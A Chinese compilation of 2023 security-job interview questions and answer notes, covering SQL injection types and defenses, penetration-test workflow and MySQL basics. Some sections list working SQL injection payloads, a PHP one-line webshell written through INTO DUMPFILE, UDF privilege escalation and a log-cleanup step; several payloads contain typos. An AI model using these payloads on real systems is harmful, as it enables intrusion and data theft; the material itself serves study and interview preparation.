2023网络安全面试题汇总（附答题解析+配套资料）

自我介绍
web渗透测试有没有过实战
讲一下sql注入原理
有没有从代码层面了解过sql注入的成因（反问代码层面指的是不是sql语句，答是）
了不了解xss，有没有从代码层面了解xss的原理
对owasp top10漏洞哪个比较了解
讲一讲怎么防御sql注入
sql注入怎么绕过过滤
问了护网时xx有没有成为靶标，有没有对攻击队行为做过研判
在xx护网时的工作内容，有没有做过流量包、数据包的研判
学校攻防演练时担任的角色，主要工作内容，渗透测试的思路，有什么成果（这个问的还是挺细的，具体到分配的任务、有没有拿下主机或者域控、攻防演练的形式和持续时间等都聊了）
平时ctf打的多不多，有什么成绩
平时会不会关注一些新颖的漏洞，会不会做代码审计，比如shiro漏洞等有没有做过漏洞复现
对钓鱼邮件这些有没有什么了解（因为上面聊xx护网时说了钓鱼邮件和微信钓鱼的事）
目前学习的方向是什么
最后介绍人才需求
反问环节

五、腾讯-安全技术实习生

自我介绍
sql注入了解吗，讲一讲二次注入的原理
二次注入要怎么修复
sql注入过waf了解吗，若一个sql注入过滤了information关键词，怎么绕过
Redis未授权访问
渗透测试的一个完整流程
打ctf的时候有没有遇到什么印象特别深的题目
文件下载漏洞有没有什么比较好的利用方式
利用文件下载漏洞找文件名具体是找什么文件名（读取文件一般会读取哪些文件）（ctf中？实战中？）
命令执行漏洞，http不出网有什么比较好的处理方法（发散一点说）
接上一题，通过隧道通信，详细讲讲通过什么类型的隧道，讲讲具体操作
漏洞预警
有没有复现过中间件类型的漏洞（有没有完整的复现过漏洞）
在学校的攻防演练中扮演的角色的主要职责是什么

六、小鹏汽车-安全工程师

自我介绍
有没有挖过src？
平时web渗透怎么学的，有实战吗？有过成功发现漏洞的经历吗？
做web渗透时接触过哪些工具
xxe漏洞是什么？ssrf是什么？
打ctf的时候负责什么方向的题
为什么要搞信息安全，对安全这一块有多大的兴趣，以后会不会转行，还是打算一直从事安全方面工作
自己平时怎么学安全的，如果让你做一个新的方向（app安全），会投入多少时间去学习，还是说有自己想做的方向
聊一聊代码审计的流程
平时是怎么做代码审计的
有没有审计过开源框架、CMS？
怎么判断一个数据库是mysql还是oracle的？
sql注入的种类，利用方式？
聊一聊sql注入的原理及防御思路
做开发的时候用的是什么语言
做java开发的时候用过什么框架，能不能做java安全开发
有没有做过安卓开发
有没有用python写过工具？
msf利用的是哪个漏洞，有没有成功反弹？
护网的时候主要做了些什么，聊一聊对安全产品的理解
公司现在需要做app安全的人，现在要你做的话，你会去学吗，或者说感兴趣吗，还是说有别的想做的，不想做app安全，能投入多少时间去学
内网渗透了解吗？聊一聊内网渗透的思路

七、大厂高频面试题汇总

这次花了三个月的时间整理各大安全厂商的网络安全职位（包括但不仅限于：安全服务工程师，安全运营工程师，安全，安全攻防工程师"）的面试问题。

话不多说，让我们一起学习吧

目前来说还有非常多的不严谨和冗余，恳请小伙伴们指正修改！

7.1、SQL注入防护方法

失效的身份认证和会话管理
跨站脚本攻击XSS
直接引用不安全的对象
安全配置错误
敏感信息泄露
缺少功能级的访问控制
跨站请求伪造CSRF
使用含有已知漏洞的组件
未验证的重定向和转发

7.2、常见的Web安全漏洞

SQL注入
XSS
文件遍历、文件上传、文件下载
垂直越权、水平越权
逻辑漏洞
首先对于新人来说，大多数同学都是没有实战经验的，对应面试官提问聊聊你的渗透测试实战，但很多人却无从开口。

7.3、给你一个网站你是如何来渗透测试的?

在获取书面授权的前提下。

1)信息收集

获取域名的whois信息,获取注册者邮箱姓名电话等。

查询服务器旁站以及子域名站点，因为主站一般比较难，所以先看看旁站有没有通用性的cms或者其他漏洞。

查看服务器操作系统版本，web中间件，看看是否存在已知的漏洞，比如IIS，APACHE,NGINX的解析漏洞

查看IP，进行IP地址端口扫描，对响应的端口进行漏洞探测，比如 rsync,心脏出血，mysql,ftp,ssh弱口令等

扫描网站目录结构，看看是否可以遍历目录，或者敏感文件泄漏，比如php探针

google hack 进一步探测网站的信息，后台，敏感文件

2）漏洞扫描

开始检测漏洞，如XSS,XSRF,sql注入，代码执行，命令执行，越权访问，目录读取，任意文件读取，下载，文件包含，

远程命令执行，弱口令，上传，编辑器漏洞，暴力破解等

3）漏洞利用

利用以上的方式拿到webshell，或者其他权限

4）权限提升

提权服务器，比如windows下mysql的udf提权，serv-u提权，windows低版本的漏洞，如iis6,pr,巴西烤肉，

linux藏牛漏洞，linux内核版本漏洞提权，linux下的mysql system提权以及oracle低权限提权

5) 日志清理

6）总结报告及修复方案

7.4、渗透测试流程

项目访谈
信息收集：whois、网站源IP、旁站、C段网站、服务器系统版本、容器版本、程序版本、数据库类型、二级域名、防火墙、维护者信息
漏洞扫描：Nessus, AWVS
手动挖掘：逻辑漏洞
验证漏洞
修复建议
（如果有）基线检查/复验漏洞
输出报告
概述
测试基本信息
测试范围
测试时间
测试任务
测试过程
信息安全风险综合分析
整体风险分析
风险影响分析
系统安全分析
安全漏洞列表
解决方案建议
复测报告
SQL面试题

7.5、SQL注入类型

基于报错注入
基于布尔的注入，根据返回页面判断条件真假的注入
基于时间的盲注，不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断。
宽字节注入
联合查询，可以使用 union 的情况下的注入。
堆查询注入，可以同时执行多条语句的执行时的注入。

7.6、SQL注入的原理

通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。通常未经检查或者未经充分检查的用户输入数据或代码编写问题，意外变成了代码被执行。

7.7、如何进行SQL注入的防御

关闭应用的错误提示
加waf
对输入进行过滤
限制输入长度
限制好数据库权限，drop/create/truncate等权限谨慎grant
预编译好sql语句，python和Php中一般使用?作为占位符。这种方法是从编程框架方面解决利用占位符参数的sql注入，只能说一定程度上防止注入。还有缓存溢出、终止字符等。
数据库信息加密安全（引导到密码学方面）。不采用md5因为有彩虹表，一般是一次md5后加盐再md5
清晰的编程规范，结对/自动化代码 review ，加大量现成的解决方案（PreparedStatement，ActiveRecord，歧义字符过滤，只可访问存储过程 balabala）已经让 SQL 注入的风险变得非常低了。
具体的语言如何进行防注入，采用什么安全框架

7.8、sqlmap，怎么对一个注入点注入？

如果是get型号，直接，sqlmap -u "诸如点网址".
如果是post型诸如点，可以sqlmap -u "注入点网址" --data="post的参数"
如果是cookie，X-Forwarded-For等，可以访问的时候，用burpsuite抓包，注入处用*号替换，放到文件里，然后sqlmap -r "文件地址"

7.9、mysql的网站注入，5.0以上和5.0以下有什么区别？

10年前就出了5.0，现在都到5.7了，没啥意义的问题

5.0以下没有information_schema这个系统表，无法列表名等，只能暴力跑表名。

5.0以下是多用户单操作，5.0以上是多用户多操做。

7.10、MySQL存储引擎？

1、InnoDB：主流的存储引擎。支持事务、支持行锁、支持非锁定读、支持外键约束

为MySQL提供了具有提交、回滚和崩溃恢复能力的事物安全（ACID兼容）存储引擎。InnoDB锁定在行级并且也在 SELECT语句中提供一个类似Oracle的非锁定读。这些功能增加了多用户部署和性能。在SQL查询中，可以自由地将InnoDB类型的表和其他MySQL的表类型混合起来，甚至在同一个查询中也可以混合

InnoDB存储引擎为在主内存中缓存数据和索引而维持它自己的缓冲池。InnoDB将它的表和索引在一个逻辑表空间中，表空间可以包含数个文件（或原始磁盘文件）。这与MyISAM表不同，比如在MyISAM表中每个表被存放在分离的文件中。InnoDB表可以是任何尺寸，即使在文件尺寸被限制为2GB的操作系统上

InnoDB支持外键完整性约束，存储表中的数据时，每张表的存储都按主键顺序存放，如果没有显示在表定义时指定主键，InnoDB会为每一行生成一个6字节的ROWID，并以此作为主键

2、MyISAM：访问速度快，不支持事务，逐渐被淘汰

3、MEMORY：BTREE索引或者HASH索引。将表中数据放在内存中，并发性能差。

4、MERGE、Archive等等不常用的

7.11、什么是事务？

事务是一组原子性的SQL语句或者说是一个独立的工作单元，如果数据库引擎能够成功对数据库应用这组SQL语句，那么就执行，如果其中有任何一条语句因为崩溃或其它原因无法执行，那么所有的语句都不会执行。也就是说，事务内的语句，要么全部执行成功，要么全部执行失败。

举个银行应用的典型例子：

假设银行的数据库有两张表：支票表和储蓄表，现在某个客户A要从其支票账户转移2000元到其储蓄账户，那么至少需求三个步骤：

a.检查A的支票账户余额高于2000元；

b.从A的支票账户余额中减去2000元；

c.在A的储蓄账户余额中增加2000元。

这三个步骤必须要打包在一个事务中，任何一个步骤失败，则必须要回滚所有的步骤，否则A作为银行的客户就可能要莫名损失2000元，就出问题了。这就是一个典型的事务，这个事务是不可分割的最小工作单元，整个事务中的所有操作要么全部提交成功，要么全部失败回滚，不可能只执行其中一部分，这也是事务的原子性特征。

7.12、读锁和写锁

读锁是共享的，即相互不阻塞的，多个客户在同一时刻可以读取同一资源，互不干扰。写锁是排他的，即一个写锁会阻塞其它的写锁和读锁，只有这样，才能确保给定时间内，只有一个用户能执行写入，防止其它用户读取正在写入的同一资源。写锁优先级高于读锁。

7.13、MySQL的索引

索引是帮助MySQL高效获取数据的数据结构。MYISAM和InnoDB存储引擎只支持BTree索引；MEMORY和HEAP储存引擎可以支持HASH和BTREE索引。

7.14、ORDER BY在注入的运用

order by后面可以加字段名，表达式和字段的位置，字段的位置需要是整数型。

7.15、GPC是什么？GPC之后怎么绕过？

如果magic_quotes_gpc=On，PHP解析器就会自动为post、get、cookie过来的数据增加转义字符"\"，以确保这些数据不会引起程序，特别是数据库语句因为特殊字符（认为是php的字符）引起的污染。

7.16、Mysql一个@和两个@什么区别

@为用户变量，使用SET @var1=1赋值

@@ 为系统变量，包括全局变量show global variables \G;和会话变量show session variables \G;

7.17、注入/绕过常用的函数

1、基于布尔SQL盲注

left(database(),1)>'s'

ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+

ascii(substr((select database()),1,1))=98

ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23

regexp正则注入 select user() regexp '^[a-z]';

select user() like 'ro%'

2、基于报错的SQL盲注

1）and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】

2）通过floor报错向下取整

3）+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)

4）.geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5）.multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6）.polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7）.multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8）.linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9）.multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10）.exp()select * from test where id=1 and exp(~(select * from(select user())a));

3、延时注入如何来判断？

if(ascii(substr("hello", 1, 1))=104, sleep(5), 1)

7.18、盲注和延时注入的共同点？

都是一个字符一个字符的判断

7.19、如何拿一个网站的webshell？

上传，后台编辑模板，sql注入写文件，命令执行，代码执行，

一些已经爆出的cms漏洞，比如dedecms后台可以直接建立脚本文件，wordpress上传插件包含脚本文件zip压缩包等

7.20、sql注入写文件都有哪些函数？

select '一句话' into outfile '路径'

select '一句话' into dumpfile '路径'

select '<?php eval($_POST[1]) ?>' into dumpfile 'd:\wwwroot\baidu.com\nvhack.php';

7.21、各种写shell的问题

1、写shell用什么函数？

select '<?php phpinfo()> into outfile 'D:/shelltest.php'

dumpfile

file_put_contents

2、outfile不能用了怎么办？

select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';可以UDF提权

3、dumpfile和outfile有什么不一样？outfile适合导库，在行末尾会写入新行并转义，因此不能写入二进制可执行文件。

4、sleep()能不能写shell？

5、写shell的条件？

用户权限

目录读写权限

防止命令执行：disable_functions，禁止了disable_functions=phpinfo,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source，但是可以用dl扩展执行命令或者ImageMagick漏洞

open_basedir: 将用户可操作的文件限制在某目录下

7.22、sql注入写文件都有哪些函数？

select '一句话' into outfile '路径'

select '一句话' into dumpfile '路径'

select '<?php eval($_POST[1]) ?>' into dumpfile 'd:\wwwroot\baidu.com\nvhack.php';

7.23、sql二次注入

第一次进行数据库插入数据的时候，仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义，在写入数据库的时候还是保留了原来的数据，但是数据本身还是脏数据。

在将数据存入到了数据库中之后，开发者就认为数据是可信的。在下一次进行需要进行查询的时候，直接从数据库中取出了脏数据，没有进行进一步的检验和处理，这样就会造成SQL的二次注入。

交友网站，填写年龄处是一个注入点，页面会显示出与你相同年龄的用户有几个。使用and 1=1确定注入点，用order by探测列数，union select探测输出点是第几列，

暴库 group_concat(schema_name) from information_schema.schemata

暴表 group_concat(table_name) from information_schema.schemata where table_schema='hhh'

获取数据 concat(flag) from flag

修复：在从数据库或文件中取数据的时候，也要进行转义或者过滤。

7.24、SQL和NoSQL的区别

SQL关系型数据库，NoSQL(Not only SQL)非关系型数据库

1.SQL优点

关系型数据库是指用关系数学模型来表示的数据，其中是以二维表的形式描述数据。

结构稳定，不易修改，常用联表查询

查询能力高，可以操作很复杂的查询

一致性高，处理数据会使用封锁保证数据不被改变

表具有逻辑性，易于理解

2.SQL缺点

不适用高并发读写

不适用海量数据高效读写

层次多，扩展性低

维护一致性开销大

涉及联表查询，复杂，慢

3.NoSQL优点

采用键值对存储数据

由于数据之间没有关系，所以易扩展，也易于查询

数据结构灵活，每个数据都可以有不同的结构

由于降低了一致性的要求，所以查询速度更快

4.比较

非关系型数据库的产生是因为随着网站的进化，并发性增加，扩展性高，一致性要求降低。这样关系型数据库最重要的一致性维护就显得有点多余，并且消耗着性能。因此有了非关系型数据库，它可以算是关系型数据库的一种弱化的结果，在海量数据存储和查询上更胜一筹。

两种数据库没有好坏之分，只是使用的环境不一样。关系型数据库可以说是更严谨的，可靠性更强的数据库，在对于数据精度要求高的环境，比如说银行系统这样自然是像mysql这样的数据库适合。非关系型数据库胜在处理大数据的速度，但是对于数据的准确度没有那么高，对于操作量大的环境比如当前大部分web2.0的网站更加适用一些。

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